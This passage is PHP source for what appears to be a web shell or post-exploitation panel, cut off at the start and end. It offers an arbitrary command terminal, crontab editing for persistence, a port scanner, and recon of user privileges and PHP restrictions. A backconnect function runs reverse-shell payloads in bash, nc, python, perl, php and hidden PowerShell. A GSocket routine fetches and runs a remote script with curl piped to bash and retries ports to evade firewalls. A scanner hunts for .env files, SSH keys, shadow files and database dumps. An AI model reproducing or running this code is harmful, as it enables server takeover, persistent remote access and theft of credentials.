0 && $path[0] === ‘/’) {
$path = preg_replace(‘#/+#’, ‘/’, $path);
return $path;
}
// Original relative path logic
$path = str_replace(array(‘\\’, “\0″), array(‘/’, ”), $path);
$path = trim($path, ‘/’);
$parts = array_filter(explode(‘/’, $path), function($p) {
return $p !== ” && $p !== ‘.’;
});
$clean = array();
foreach ($parts as $part) {
if ($part === ‘..’) { array_pop($clean); continue; }
if (preg_match(‘/[\x00-\x1f]/’, $part)) continue;
$clean[] = $part;
}
return implode(‘/’, $clean);
}
function resolvePath($baseDir, $relPath, $mustExist = true)
{
$rel = sanitizeRelPath($relPath);
// Handle absolute Windows paths (C:/, D:/, etc)
if (preg_match(‘/^[A-Za-z]:\//’, $rel)) {
// Convert to system path
$full = str_replace(‘/’, DIRECTORY_SEPARATOR, $rel);
if ($mustExist) {
$real = realpath($full);
if ($real !== false) {
return $real;
}
return null;
} else {
// Check if parent exists
$parent = dirname($full);
if (is_dir($parent) || is_dir($full)) {
return $full;
}
return null;
}
}
// Handle absolute Linux paths
if (strlen($rel) > 0 && $rel[0] === ‘/’) {
if ($mustExist) {
$real = realpath($rel);
if ($real !== false) {
return $real;
}
return null;
} else {
$parent = dirname($rel);
if (is_dir($parent) || is_dir($rel)) {
return $rel;
}
return null;
}
}
// Handle relative paths
$full = $rel === ” ? $baseDir : $baseDir . DIRECTORY_SEPARATOR . str_replace(‘/’, DIRECTORY_SEPARATOR, $rel);
$real = $mustExist ? realpath($full) : (is_file($full) || is_dir($full) ? realpath($full) : null);
if ($real === false || $real === null) {
if (!$mustExist) {
$parent = dirname($full);
$parentReal = realpath($parent);
$baseDirNormalized = str_replace(‘\\’, ‘/’, $baseDir);
$parentRealNormalized = $parentReal ? str_replace(‘\\’, ‘/’, $parentReal) : ”;
if ($parentReal && strpos($parentRealNormalized, $baseDirNormalized) === 0) {
return $full;
}
}
return null;
}
$realNormalized = str_replace(‘\\’, ‘/’, $real);
$baseDirNormalized = str_replace(‘\\’, ‘/’, $baseDir);
$starts = strpos($realNormalized, $baseDirNormalized) === 0;
return $starts ? $real : null;
}
function formatBytes($bytes)
{
$bytes = (int)$bytes;
if ($bytes < 1024) return $bytes . ' B';
$units = array('KB', 'MB', 'GB', 'TB');
$v = $bytes / 1024;
foreach ($units as $u) {
if ($v < 1024) return number_format($v, $v >= 100 ? 0 : 1) . ‘ ‘ . $u;
$v /= 1024;
}
return number_format($v, 1) . ‘ PB’;
}
function fileIcon($name, $dir)
{
if ($dir) return ‘folder’;
$ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
$iconMap = array(
‘php’ => ‘php’, ‘phtml’ => ‘php’,
‘js’ => ‘js’, ‘mjs’ => ‘js’, ‘ts’ => ‘js’, ‘tsx’ => ‘js’, ‘jsx’ => ‘js’,
‘css’ => ‘css’, ‘scss’ => ‘css’, ‘sass’ => ‘css’, ‘less’ => ‘css’,
‘html’ => ‘html’, ‘htm’ => ‘html’,
‘json’ => ‘config’, ‘yaml’ => ‘config’, ‘yml’ => ‘config’,
‘xml’ => ‘config’, ‘toml’ => ‘config’, ‘env’ => ‘config’, ‘ini’ => ‘config’,
‘md’ => ‘text’, ‘txt’ => ‘text’, ‘log’ => ‘text’,
‘png’ => ‘image’, ‘jpg’ => ‘image’, ‘jpeg’ => ‘image’,
‘gif’ => ‘image’, ‘webp’ => ‘image’, ‘svg’ => ‘image’, ‘ico’ => ‘image’,
‘zip’ => ‘archive’, ‘rar’ => ‘archive’, ‘7z’ => ‘archive’,
‘tar’ => ‘archive’, ‘gz’ => ‘archive’,
‘sql’ => ‘database’, ‘db’ => ‘database’,
);
return isset($iconMap[$ext]) ? $iconMap[$ext] : ‘file’;
}
function isTextFile($path)
{
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
$text = array(‘php’,’phtml’,’js’,’mjs’,’ts’,’tsx’,’jsx’,’css’,’scss’,’sass’,’less’,’html’,’htm’,
‘json’,’yaml’,’yml’,’xml’,’toml’,’env’,’ini’,’md’,’txt’,’log’,’sql’,’htaccess’,’gitignore’,’csv’);
if (in_array($ext, $text, true)) return true;
$size = filesize($path);
if ($size === false || $size > 512000) return false;
$fh = fopen($path, ‘rb’);
if (!$fh) return false;
$chunk = fread($fh, 8192); fclose($fh);
return $chunk !== false && !preg_match(‘/[\x00-\x08\x0e-\x1f]/’, $chunk);
}
function listEntries($dir)
{
$items = array();
$h = @opendir($dir);
if (!$h) return $items;
while (($name = readdir($h)) !== false) {
if ($name === ‘.’ || $name === ‘..’) continue;
$full = $dir . DIRECTORY_SEPARATOR . $name;
$isDir = is_dir($full);
$perm = substr(sprintf(‘%o’, fileperms($full)), -4);
$sz = @filesize($full);
$mt = @filemtime($full);
$items[] = array(
‘name’ => $name,
‘is_dir’ => $isDir,
‘size’ => $isDir ? null : (int)($sz ? $sz : 0),
‘modified’ => (int)($mt ? $mt : time()),
‘icon’ => fileIcon($name, $isDir),
‘perm’ => $perm,
‘editable’ => !$isDir && isTextFile($full),
);
}
closedir($h);
usort($items, function ($a, $b) {
if ($a[‘is_dir’] !== $b[‘is_dir’]) return $a[‘is_dir’] ? -1 : 1;
return strcasecmp($a[‘name’], $b[‘name’]);
});
return $items;
}
function runTerminal($command, $cwd)
{
if (!function_exists(‘proc_open’)) {
return array(‘output’ => ‘proc_open() is disabled on this server.’, ‘exit_code’ => 1);
}
$descriptors = array(0 => array(‘pipe’,’r’), 1 => array(‘pipe’,’w’), 2 => array(‘pipe’,’w’));
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
$cmd = $isWin ? ‘cmd /C ‘ . $command : $command;
$pipes = array();
$proc = @proc_open($cmd, $descriptors, $pipes, $cwd);
if (!is_resource($proc)) return array(‘output’ => ‘Failed to execute.’, ‘exit_code’ => 1);
fclose($pipes[0]);
$stdout = stream_get_contents($pipes[1]); fclose($pipes[1]);
$stderr = stream_get_contents($pipes[2]); fclose($pipes[2]);
$code = proc_close($proc);
$stdout = $stdout ? $stdout : ”;
$stderr = $stderr ? $stderr : ”;
$sep = ($stdout !== ” && $stderr !== ”) ? “\n” : ”;
$out = trim($stdout . $sep . $stderr);
if ($out === ”) {
$out = ($code === 0) ? ‘(no output)’ : ”;
}
return array(‘output’ => $out, ‘exit_code’ => $code);
}
function searchFiles($baseDir, $relDir, $query, &$results, &$count, $limit = 200)
{
if ($count >= $limit) return;
$dir = resolvePath($baseDir, $relDir);
if (!$dir || !is_dir($dir)) return;
$h = @opendir($dir);
if (!$h) return;
while (($name = readdir($h)) !== false) {
if ($name === ‘.’ || $name === ‘..’) continue;
if ($count >= $limit) break;
$full = $dir . DIRECTORY_SEPARATOR . $name;
$itemRel = $relDir === ” ? $name : $relDir . ‘/’ . $name;
if (stripos($name, $query) !== false) {
$isDir = is_dir($full);
$sz = @filesize($full);
$results[] = array(
‘path’ => $itemRel,
‘name’ => $name,
‘is_dir’ => $isDir,
‘icon’ => fileIcon($name, $isDir),
‘size’ => $isDir ? null : (int)($sz ? $sz : 0),
);
$count++;
}
if (is_dir($full)) searchFiles($baseDir, $itemRel, $query, $results, $count, $limit);
}
closedir($h);
}
function getCrontab()
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
if ($isWin) {
$result = runTerminal(‘schtasks /query /fo LIST’, $GLOBALS[‘baseDir’]);
return array(‘content’ => $result[‘output’], ‘platform’ => ‘windows’, ‘editable’ => false);
}
$result = runTerminal(‘crontab -l 2>&1’, $GLOBALS[‘baseDir’]);
$out = $result[‘output’];
if (stripos($out, ‘no crontab’) !== false) {
$out = ”;
}
return array(‘content’ => $out, ‘platform’ => ‘unix’, ‘editable’ => true);
}
function setCrontab($content)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
if ($isWin) {
return array(‘ok’ => false, ‘error’ => ‘Edit crontab on Windows via schtasks in Terminal.’);
}
$tmp = tempnam(sys_get_temp_dir(), ‘cron’);
if ($tmp === false) {
return array(‘ok’ => false, ‘error’ => ‘Cannot create temp file’);
}
file_put_contents($tmp, rtrim((string)$content) . “\n”);
$result = runTerminal(‘crontab ‘ . escapeshellarg($tmp), $GLOBALS[‘baseDir’]);
@unlink($tmp);
if ($result[‘exit_code’] !== 0) {
return array(‘ok’ => false, ‘error’ => $result[‘output’] ? $result[‘output’] : ‘Failed to save crontab’);
}
return array(‘ok’ => true);
}
function parsePortList($spec, $max = 500)
{
$ports = array();
foreach (explode(‘,’, (string)$spec) as $part) {
$part = trim($part);
if ($part === ”) continue;
if (preg_match(‘/^(\d+)\s*-\s*(\d+)$/’, $part, $m)) {
$start = max(1, min(65535, (int)$m[1]));
$end = max(1, min(65535, (int)$m[2]));
if ($start > $end) { $t = $start; $start = $end; $end = $t; }
for ($p = $start; $p <= $end && count($ports) < $max; $p++) {
$ports[$p] = $p;
}
} elseif (preg_match('/^\d+$/', $part)) {
$p = (int)$part;
if ($p >= 1 && $p <= 65535 && count($ports) < $max) {
$ports[$p] = $p;
}
}
}
return array_values($ports);
}
function scanPorts($host, $portsSpec, $timeout = 1)
{
$host = trim((string)$host);
if ($host === '' || !preg_match('/^[a-zA-Z0-9.\-_]+$/', $host)) {
return array('ok' => false, ‘error’ => ‘Invalid host’);
}
$timeout = max(1, min(5, (int)$timeout));
$ports = parsePortList($portsSpec, 500);
if (empty($ports)) {
return array(‘ok’ => false, ‘error’ => ‘No valid ports (e.g. 22,80,443 or 1-1024)’);
}
$open = array();
$ip = @gethostbyname($host);
foreach ($ports as $port) {
$conn = @fsockopen($host, $port, $errno, $errstr, $timeout);
if ($conn) {
$open[] = (int)$port;
fclose($conn);
}
}
sort($open);
return array(‘ok’ => true, ‘host’ => $host, ‘ip’ => $ip, ‘open’ => $open, ‘scanned’ => count($ports));
}
function startBackconnect($ip, $port, $method)
{
$ip = trim((string)$ip);
$port = (int)$port;
$method = strtolower(trim((string)$method));
if ($ip === ” || !preg_match(‘/^[a-zA-Z0-9.\-_]+$/’, $ip)) {
return array(‘ok’ => false, ‘error’ => ‘Invalid IP/hostname’);
}
if ($port < 1 || $port > 65535) {
return array(‘ok’ => false, ‘error’ => ‘Invalid port’);
}
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
$payloads = array(
‘bash’ => “bash -c ‘bash -i >& /dev/tcp/{$ip}/{$port} 0>&1′”,
‘nc’ => “rm -f /tmp/.bc;mkfifo /tmp/.bc;cat /tmp/.bc|/bin/sh -i 2>&1|nc {$ip} {$port} >/tmp/.bc”,
‘python’ => “python -c ‘import socket,subprocess,os;s=socket.socket();s.connect((\”{$ip}\”,{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\”/bin/sh\”,\”-i\”])’”,
‘perl’ => “perl -e ‘use Socket;\$i=\”{$ip}\”;\$p={$port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\”tcp\”));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\”>&S\”);open(STDOUT,\”>&S\”);open(STDERR,\”>&S\”);exec(\”/bin/sh -i\”);};’”,
‘php’ => “php -r ‘\$s=fsockopen(\”{$ip}\”,{$port});proc_open(\”/bin/sh -i\”,array(0=>\$s,1=>\$s,2=>\$s),\$p);’”,
);
if ($isWin) {
$payloads[‘powershell’] = “powershell -nop -W hidden -c \”\$c=New-Object Net.Sockets.TCPClient(‘{$ip}’,{$port});\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){;\$d=(New-Object Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$r2=\$r+’PS ‘+(pwd).Path+’> ‘;\$sb=([Text.Encoding]::ASCII).GetBytes(\$r2);\$s.Write(\$sb,0,\$sb.Length)}\””;
$payloads[‘nc’] = “nc.exe {$ip} {$port} -e cmd.exe”;
}
if (!isset($payloads[$method])) {
return array(‘ok’ => false, ‘error’ => ‘Unknown method’);
}
$cmd = $payloads[$method];
if ($isWin) {
@pclose(@popen(‘start /B ‘ . $cmd, ‘r’));
} else {
@exec($cmd . ‘ > /dev/null 2>&1 &’);
}
return array(‘ok’ => true, ‘message’ => ‘Backconnect started (‘ . $method . ‘) → ‘ . $ip . ‘:’ . $port);
}
function gsocketIsFirewalled($output)
{
$out = strtolower((string)$output);
return strpos($out, ‘cannot connect to gsrn’) !== false
|| (strpos($out, ‘firewalled’) !== false && strpos($out, ‘gsrn’) !== false);
}
function gsocketBuildCommand($method, $port = null)
{
$method = strtolower(trim((string)$method));
if ($method === ‘wget’) {
$inner = ‘wget –no-check-certificate -qO- https://gsocket.io/y’;
} else {
$method = ‘curl’;
$inner = ‘curl -fsSLk https://gsocket.io/y’;
}
$prefix = ‘GS_NOCERTCHECK=1’;
if ($port !== null) {
$prefix .= ‘ GS_PORT=’ . (int)$port;
}
return array(
‘command’ => $prefix . ‘ bash -c “$(‘ . $inner . ‘)”‘,
‘method’ => $method,
‘port’ => $port,
);
}
function runGsocket($method)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
if ($isWin) {
return array(‘ok’ => false, ‘error’ => ‘GSocket installer requires bash (Linux/Unix).’);
}
if (!function_exists(‘proc_open’)) {
return array(‘ok’ => false, ‘error’ => ‘proc_open() is disabled on this server.’);
}
@set_time_limit(1800);
@ini_set(‘max_execution_time’, ‘1800’);
$portsToTry = array(null);
for ($p = 22; $p <= 67; $p++) {
$portsToTry[] = $p;
}
$allOutput = '';
$attempts = 0;
$successPort = null;
$lastCommand = '';
$lastMethod = strtolower(trim((string)$method));
if ($lastMethod !== 'wget') {
$lastMethod = 'curl';
}
$lastExit = 1;
$stoppedOnFirewalled = false;
foreach ($portsToTry as $port) {
$built = gsocketBuildCommand($method, $port);
$command = $built['command'];
$lastCommand = $command;
$lastMethod = $built['method'];
$label = ($port === null) ? 'default (no GS_PORT)' : ('GS_PORT=' . $port);
$attempts++;
$result = runTerminal($command, $GLOBALS['baseDir']);
if ($result['output'] === 'Failed to execute.') {
return array('ok' => false, ‘error’ => ‘Failed to execute GSocket installer.’, ‘command’ => $command);
}
$lastExit = (int)$result[‘exit_code’];
$firewalled = gsocketIsFirewalled($result[‘output’]);
$allOutput .= ‘=== Attempt ‘ . $attempts . ‘: ‘ . $label . ” ===\n”;
$allOutput .= ‘$ ‘ . $command . “\n\n”;
$allOutput .= $result[‘output’] . “\n”;
$allOutput .= ‘(exit ‘ . $lastExit . “)\n\n”;
if (!$firewalled) {
$successPort = $port;
$allOutput .= ‘=== SUCCESS: GSRN reachable with ‘ . $label . ” ===\n”;
break;
}
$stoppedOnFirewalled = true;
if ($port !== null && $port >= 67) {
$allOutput .= “=== FAILED: All ports tried (default + GS_PORT=22..67) — still firewalled ===\n”;
}
}
$portLabel = ($successPort === null) ? ‘default’ : (string)$successPort;
return array(
‘ok’ => true,
‘output’ => $allOutput,
‘exit_code’ => $lastExit,
‘command’ => $lastCommand,
‘method’ => $lastMethod,
‘gs_port’ => $successPort,
‘gs_port_label’ => $portLabel,
‘attempts’ => $attempts,
‘firewalled’ => ($successPort === null && $stoppedOnFirewalled),
‘success’ => ($successPort !== null || !$stoppedOnFirewalled),
);
}
function runSecTool($tool, $input, $baseDir)
{
$tool = strtolower(trim((string)$tool));
switch ($tool) {
case ‘recon’:
return secRecon($baseDir);
case ‘sensitive’:
return secSensitiveScan($baseDir, (string)_v($input, ‘path’, ”));
case ‘processes’:
return secProcesses($baseDir);
case ‘network’:
return secNetwork($baseDir);
case ‘http’:
return secHttpRequest(
(string)_v($input, ‘url’, ”),
(string)_v($input, ‘method’, ‘GET’),
(string)_v($input, ‘headers’, ”),
(string)_v($input, ‘body’, ”)
);
case ‘hash’:
return secHash((string)_v($input, ‘text’, ”), (string)_v($input, ‘algo’, ‘sha256’));
case ‘codec’:
return secCodec((string)_v($input, ‘mode’, ‘b64enc’), (string)_v($input, ‘text’, ”));
case ‘dns’:
return secDns((string)_v($input, ‘host’, ”), (string)_v($input, ‘type’, ‘ALL’));
case ‘suid’:
return secSuidFind($baseDir);
default:
return array(‘ok’ => false, ‘error’ => ‘Unknown security tool’);
}
}
function secRecon($baseDir)
{
$lines = array();
$lines[] = ‘=== SYSTEM RECON ===’;
$lines[] = ‘Timestamp : ‘ . date(‘Y-m-d H:i:s T’);
$lines[] = ‘PHP : ‘ . PHP_VERSION . ‘ (‘ . PHP_SAPI . ‘)’;
$lines[] = ‘OS : ‘ . PHP_OS;
$lines[] = ‘Server : ‘ . (isset($_SERVER[‘SERVER_SOFTWARE’]) ? $_SERVER[‘SERVER_SOFTWARE’] : ‘-‘);
$lines[] = ‘Hostname : ‘ . (function_exists(‘gethostname’) ? gethostname() : ‘-‘);
$lines[] = ‘Doc Root : ‘ . (isset($_SERVER[‘DOCUMENT_ROOT’]) ? $_SERVER[‘DOCUMENT_ROOT’] : ‘-‘);
$lines[] = ‘Script : ‘ . __FILE__;
$lines[] = ‘Base Dir : ‘ . $baseDir;
$lines[] = ‘Client IP : ‘ . (isset($_SERVER[‘REMOTE_ADDR’]) ? $_SERVER[‘REMOTE_ADDR’] : ‘-‘);
$lines[] = ”;
$lines[] = ‘=== USER / PRIVILEGE ===’;
$lines[] = ‘PHP user : ‘ . get_current_user();
if (function_exists(‘posix_geteuid’)) {
$lines[] = ‘UID/EUID : ‘ . posix_getuid() . ‘ / ‘ . posix_geteuid();
$pw = @posix_getpwuid(posix_geteuid());
if ($pw) $lines[] = ‘Account : ‘ . $pw[‘name’] . ‘ (home: ‘ . (isset($pw[‘dir’]) ? $pw[‘dir’] : ‘-‘) . ‘)’;
$groups = @posix_getgroups();
if ($groups) {
$gn = array();
foreach ($groups as $gid) {
$g = @posix_getgrgid($gid);
$gn[] = $g ? $g[‘name’] : $gid;
}
$lines[] = ‘Groups : ‘ . implode(‘, ‘, $gn);
}
}
$whoami = runTerminal(‘whoami 2>&1’, $baseDir);
$lines[] = ‘whoami : ‘ . trim($whoami[‘output’]);
$id = runTerminal(‘id 2>&1’, $baseDir);
$lines[] = ‘id : ‘ . trim($id[‘output’]);
$lines[] = ”;
$lines[] = ‘=== PHP SECURITY ===’;
$lines[] = ‘disable_functions : ‘ . (ini_get(‘disable_functions’) ? ini_get(‘disable_functions’) : ‘(none)’);
$lines[] = ‘open_basedir : ‘ . (ini_get(‘open_basedir’) ? ini_get(‘open_basedir’) : ‘(none)’);
$lines[] = ‘allow_url_fopen : ‘ . (ini_get(‘allow_url_fopen’) ? ‘On’ : ‘Off’);
$lines[] = ‘allow_url_include : ‘ . (ini_get(‘allow_url_include’) ? ‘On’ : ‘Off’);
$lines[] = ‘display_errors : ‘ . (ini_get(‘display_errors’) ? ‘On’ : ‘Off’);
$lines[] = ‘expose_php : ‘ . (ini_get(‘expose_php’) ? ‘On’ : ‘Off’);
$lines[] = ‘proc_open : ‘ . (function_exists(‘proc_open’) && !secFuncDisabled(‘proc_open’) ? ‘Available’ : ‘Disabled’);
$lines[] = ‘shell_exec : ‘ . (function_exists(‘shell_exec’) && !secFuncDisabled(‘shell_exec’) ? ‘Available’ : ‘Disabled’);
$lines[] = ‘curl : ‘ . (function_exists(‘curl_init’) ? ‘Available’ : ‘Missing’);
$lines[] = ‘PDO : ‘ . (class_exists(‘PDO’) ? ‘Available’ : ‘Missing’);
$lines[] = ”;
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
if (!$isWin) {
$lines[] = ‘=== KERNEL / SYSTEM ===’;
$uname = runTerminal(‘uname -a 2>&1’, $baseDir);
$lines[] = trim($uname[‘output’]);
$lines[] = ‘Uptime: ‘ . trim(runTerminal(‘uptime 2>&1’, $baseDir)[‘output’]);
$lines[] = ”;
}
$lines[] = ‘=== ENVIRONMENT (selected) ===’;
$envKeys = array(‘PATH’, ‘HOME’, ‘USER’, ‘LOGNAME’, ‘SHELL’, ‘PWD’, ‘TEMP’, ‘TMP’, ‘HTTP_HOST’, ‘SERVER_NAME’);
foreach ($envKeys as $k) {
$v = getenv($k);
if ($v !== false && $v !== ”) $lines[] = $k . ‘=’ . $v;
}
return array(‘ok’ => true, ‘output’ => implode(“\n”, $lines));
}
function secFuncDisabled($fn)
{
$disabled = ini_get(‘disable_functions’);
if (!$disabled) return false;
return in_array($fn, array_map(‘trim’, explode(‘,’, $disabled)), true);
}
function secSensitiveScan($baseDir, $scanPath)
{
$patterns = array(
‘.env’, ‘.env.local’, ‘.env.production’, ‘.env.backup’, ‘.env.old’,
‘wp-config.php’, ‘configuration.php’, ‘config.php’, ‘settings.php’, ‘LocalSettings.php’,
‘database.yml’, ‘secrets.yml’, ‘web.config’, ‘appsettings.json’, ‘local.settings.json’,
‘id_rsa’, ‘id_dsa’, ‘id_ecdsa’, ‘id_ed25519’, ‘authorized_keys’, ‘.htpasswd’,
‘docker-compose.yml’, ‘docker-compose.yaml’, ‘.git/config’, ‘passwd’, ‘shadow’,
‘backup.sql’, ‘dump.sql’, ‘db.sql’, ‘.my.cnf’, ‘pgpass’, ‘.pgpass’,
);
$roots = array();
if ($scanPath !== ”) {
$resolved = resolvePath($baseDir, $scanPath, false);
if ($resolved && @is_dir($resolved)) $roots[] = $resolved;
}
if (empty($roots)) {
$roots[] = $baseDir;
foreach (array(‘/var/www’, ‘/home’, ‘/etc’, ‘/tmp’, dirname($baseDir)) as $r) {
if (@is_dir($r) && !in_array($r, $roots, true)) $roots[] = $r;
}
}
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
$found = array();
if (!$isWin) {
$nameExpr = array();
foreach ($patterns as $p) {
$nameExpr[] = ‘-name ‘ . escapeshellarg($p);
}
$expr = ‘\( ‘ . implode(‘ -o ‘, $nameExpr) . ‘ \)’;
foreach ($roots as $root) {
$cmd = ‘find ‘ . escapeshellarg($root) . ‘ -maxdepth 7 ‘ . $expr . ‘ -type f 2>/dev/null | head -60’;
$out = runTerminal($cmd, $baseDir);
foreach (explode(“\n”, $out[‘output’]) as $line) {
$line = trim($line);
if ($line !== ” && @is_file($line)) {
$found[$line] = array(
‘path’ => $line,
‘size’ => @filesize($line),
‘perm’ => substr(sprintf(‘%o’, @fileperms($line)), -4),
‘readable’ => @is_readable($line),
);
}
}
if (count($found) >= 80) break;
}
} else {
secWalkSensitive($roots[0], $patterns, $found, 0, 6);
}
$lines = array(‘=== SENSITIVE FILE SCAN ===’, ‘Roots: ‘ . implode(‘, ‘, $roots), ‘Found: ‘ . count($found), ”);
foreach ($found as $item) {
$flag = $item[‘readable’] ? ‘[R]’ : ‘[–]’;
$lines[] = $flag . ‘ ‘ . $item[‘perm’] . ‘ ‘ . secFormatBytes(isset($item[‘size’]) ? $item[‘size’] : 0) . ‘ ‘ . $item[‘path’];
}
if (empty($found)) $lines[] = ‘(no sensitive files found in scan scope)’;
return array(‘ok’ => true, ‘output’ => implode(“\n”, $lines), ‘count’ => count($found), ‘files’ => array_values($found));
}
function secWalkSensitive($dir, $patterns, &$found, $depth, $maxDepth)
{
if ($depth > $maxDepth || count($found) >= 80) return;
$h = @opendir($dir);
if (!$h) return;
while (($name = readdir($h)) !== false) {
if ($name === ‘.’ || $name === ‘..’) continue;
$full = $dir . DIRECTORY_SEPARATOR . $name;
if (in_array($name, $patterns, true) && @is_file($full)) {
$found[$full] = array(
‘path’ => $full,
‘size’ => @filesize($full),
‘perm’ => substr(sprintf(‘%o’, @fileperms($full)), -4),
‘readable’ => @is_readable($full),
);
}
if (@is_dir($full) && $depth < $maxDepth) {
secWalkSensitive($full, $patterns, $found, $depth + 1, $maxDepth);
}
if (count($found) >= 80) break;
}
closedir($h);
}
function secFormatBytes($bytes)
{
$bytes = (int)$bytes;
if ($bytes < 1024) return $bytes . 'B';
if ($bytes < 1048576) return round($bytes / 1024, 1) . 'K';
return round($bytes / 1048576, 1) . 'M';
}
function secProcesses($baseDir)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
$cmd = $isWin ? 'tasklist /V' : 'ps auxww 2>/dev/null || ps -ef 2>/dev/null’;
$result = runTerminal($cmd, $baseDir);
return array(‘ok’ => true, ‘output’ => $result[‘output’]);
}
function secNetwork($baseDir)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
if ($isWin) {
$cmd = ‘netstat -ano’;
} else {
$cmd = ‘ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null || netstat -an 2>/dev/null’;
}
$result = runTerminal($cmd, $baseDir);
$extra = runTerminal($isWin ? ‘ipconfig /all’ : ‘ip addr 2>/dev/null; echo “—“; ip route 2>/dev/null’, $baseDir);
$out = “=== LISTENING / CONNECTIONS ===\n” . $result[‘output’] . “\n\n=== INTERFACES / ROUTES ===\n” . $extra[‘output’];
return array(‘ok’ => true, ‘output’ => $out);
}
function secHttpRequest($url, $method, $headersRaw, $body)
{
$url = trim($url);
if ($url === ” || !preg_match(‘#^https?://#i’, $url)) {
return array(‘ok’ => false, ‘error’ => ‘URL must start with http:// or https://’);
}
$method = strtoupper(trim($method));
if (!in_array($method, array(‘GET’, ‘POST’, ‘PUT’, ‘PATCH’, ‘DELETE’, ‘HEAD’, ‘OPTIONS’), true)) {
return array(‘ok’ => false, ‘error’ => ‘Invalid HTTP method’);
}
if (function_exists(‘curl_init’)) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
if ($body !== ” && in_array($method, array(‘POST’, ‘PUT’, ‘PATCH’), true)) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
}
$hdrs = array();
foreach (preg_split(‘/\r?\n/’, $headersRaw) as $line) {
$line = trim($line);
if ($line !== ”) $hdrs[] = $line;
}
if (!empty($hdrs)) curl_setopt($ch, CURLOPT_HTTPHEADER, $hdrs);
$resp = curl_exec($ch);
$err = curl_error($ch);
$info = curl_getinfo($ch);
curl_close($ch);
if ($resp === false) return array(‘ok’ => false, ‘error’ => $err ? $err : ‘Request failed’);
$out = “=== HTTP RESPONSE ===\n”;
$out .= ‘URL : ‘ . $url . “\n”;
$out .= ‘Method : ‘ . $method . “\n”;
$out .= ‘Code : ‘ . (isset($info[‘http_code’]) ? $info[‘http_code’] : ‘?’) . “\n”;
$out .= ‘Time : ‘ . (isset($info[‘total_time’]) ? round($info[‘total_time’], 3) . ‘s’ : ‘?’) . “\n\n”;
$out .= $resp;
return array(‘ok’ => true, ‘output’ => $out);
}
$cmd = ‘curl -sS -k -i -X ‘ . escapeshellarg($method);
foreach (preg_split(‘/\r?\n/’, $headersRaw) as $line) {
$line = trim($line);
if ($line !== ”) $cmd .= ‘ -H ‘ . escapeshellarg($line);
}
if ($body !== ” && in_array($method, array(‘POST’, ‘PUT’, ‘PATCH’), true)) {
$cmd .= ‘ –data ‘ . escapeshellarg($body);
}
$cmd .= ‘ ‘ . escapeshellarg($url);
$result = runTerminal($cmd, $GLOBALS[‘baseDir’]);
return array(‘ok’ => true, ‘output’ => $result[‘output’]);
}
function secHash($text, $algo)
{
$algos = array(‘md5’, ‘sha1’, ‘sha256’, ‘sha512’, ‘crc32’);
$algo = strtolower(trim($algo));
if (!in_array($algo, $algos, true)) {
return array(‘ok’ => false, ‘error’ => ‘Invalid algorithm’);
}
if ($algo === ‘crc32’) {
$hash = sprintf(‘%u’, crc32($text));
} else {
$hash = hash($algo, $text);
}
$out = “=== HASH ($algo) ===\nInput length: ” . strlen($text) . ” bytes\n\n” . $hash;
return array(‘ok’ => true, ‘output’ => $out, ‘hash’ => $hash, ‘algo’ => $algo);
}
function secCodec($mode, $text)
{
$mode = strtolower(trim($mode));
$result = ”;
switch ($mode) {
case ‘b64enc’:
$result = base64_encode($text);
break;
case ‘b64dec’:
$decoded = base64_decode($text, true);
if ($decoded === false) return array(‘ok’ => false, ‘error’ => ‘Invalid Base64’);
$result = $decoded;
break;
case ‘urlenc’:
$result = rawurlencode($text);
break;
case ‘urldec’:
$result = rawurldecode($text);
break;
case ‘rot13’:
$result = str_rot13($text);
break;
case ‘hexenc’:
$result = bin2hex($text);
break;
case ‘hexdec’:
if (!preg_match(‘/^[0-9a-fA-F\s]+$/’, $text)) {
return array(‘ok’ => false, ‘error’ => ‘Invalid hex string’);
}
$clean = preg_replace(‘/\s+/’, ”, $text);
if (strlen($clean) % 2 !== 0) return array(‘ok’ => false, ‘error’ => ‘Odd-length hex’);
$result = pack(‘H*’, $clean);
break;
default:
return array(‘ok’ => false, ‘error’ => ‘Unknown codec mode’);
}
$out = “=== CODEC ($mode) ===\n\n” . $result;
return array(‘ok’ => true, ‘output’ => $out, ‘result’ => $result);
}
function secDns($host, $type)
{
$host = trim($host);
if ($host === ” || !preg_match(‘/^[a-zA-Z0-9.\-_]+$/’, $host)) {
return array(‘ok’ => false, ‘error’ => ‘Invalid hostname’);
}
if (!function_exists(‘dns_get_record’)) {
return array(‘ok’ => false, ‘error’ => ‘dns_get_record() not available’);
}
$type = strtoupper(trim($type));
$map = array(
‘A’ => DNS_A, ‘AAAA’ => DNS_AAAA, ‘MX’ => DNS_MX, ‘TXT’ => DNS_TXT,
‘NS’ => DNS_NS, ‘CNAME’ => DNS_CNAME, ‘SOA’ => DNS_SOA, ‘PTR’ => DNS_PTR,
);
